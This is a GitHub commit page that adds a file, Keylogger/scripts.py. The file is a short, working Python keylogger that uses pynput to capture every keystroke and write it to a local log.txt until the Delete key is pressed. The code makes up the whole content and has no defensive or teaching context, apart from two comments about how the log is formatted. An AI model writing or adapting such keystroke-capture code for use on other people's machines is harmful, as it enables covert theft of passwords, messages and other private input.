Skip to content

Commit 8b2d42e

Browse files
committed
Added back deleted scripts
1 parent a0eb80b commit 8b2d42e

File tree

1 file changed

+29
-0
lines changed

1 file changed

+29
-0
lines changed

Keylogger/scripts.py

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
import pynput
2+
from pynput.keyboard import Key, Listener
3+
4+
5+
keys = []
6+
7+
8+
def on_press(key):
9+
keys.append(key)
10+
write_file(keys)
11+
12+
13+
def write_file(keys):
14+
with open('log.txt', 'w') as f:
15+
for key in keys:
16+
#removing ''
17+
k = str(key).replace("'", "")
18+
f.write(k)
19+
#explicitly adding a space after every keystroke for readability
20+
f.write(' ')
21+
22+
23+
def on_release(key):
24+
if key == Key.delete:
25+
return False
26+
27+
28+
with Listener(on_press = on_press, on_release = on_release) as listener:
29+
listener.join()

0 commit comments

Comments
 (0)